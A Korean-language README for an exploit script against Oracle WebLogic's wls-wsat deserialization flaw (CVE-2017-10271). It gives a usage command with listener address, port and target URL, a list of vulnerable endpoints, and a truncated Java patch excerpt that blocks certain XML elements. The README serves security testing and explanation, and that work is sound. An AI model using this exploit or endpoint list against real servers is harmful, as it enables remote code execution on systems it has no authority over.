
Oracle WebLogic WLS-WSAT 원격 코드 실행 익스플로잇 (CVE-2017-10271)
Weblogic wls-wsat 구성 요소 역직렬화 취약점 (CVE-2017-10271) 탐지 및 익스플로잇 스크립트
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
이 스크립트의 사용에 대한 책임은 사용자에게 있습니다. Kevin Kirsche는 이 코드를 사용하여 취해진 어떤 행동에 대해서도 책임을 지지 않습니다. 이 코드는 서버의 보안을 검증하려는 팀을 위해 작성된 것이며, 악의적인 목적으로 사용하기 위한 것이 아닙니다.
이 스크립트의 기반이 된 원본 POC를 작성한 Luffin에게 큰 감사를 드립니다. https://github.com/Luffin/CVE-2017-10271
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE 2017-3506
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}